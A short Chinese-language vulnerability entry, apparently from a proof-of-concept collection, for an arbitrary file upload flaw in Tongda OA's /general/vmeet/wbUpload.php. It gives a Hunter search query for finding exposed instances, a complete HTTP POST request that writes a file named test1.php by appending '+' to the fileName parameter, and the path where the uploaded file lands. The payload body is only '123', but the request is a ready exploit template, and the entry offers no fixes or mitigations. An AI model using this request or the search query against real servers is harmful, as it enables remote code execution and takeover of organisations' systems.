T10-9通达-OA-文件上传

漏洞描述：

通达OA /general/vmeet/wbUpload.php存在任意文件上传漏洞，攻击者通过漏洞可以执行服务器任意命令控制服务器权限。

网站图片：

网络测绘：

Hunter 语法：

app.name="通达 OA"

漏洞复现：

payload：

```
POST /general/vmeet/wbUpload.php?fileName=test1.php+ HTTP/1.1
Host: 192.168.31.164
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----------------------------307456622713326098592248556830
Content-Length: 223
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

------------------------------307456622713326098592248556830
Content-Disposition: form-data; name="Filedata"; filename="1.png"
Content-Type: image/png

123
------------------------------307456622713326098592248556830--
```

效果图:

文件上传路径

```
http://192.168.31.164/general/vmeet/wbUpload/test1.php
```

123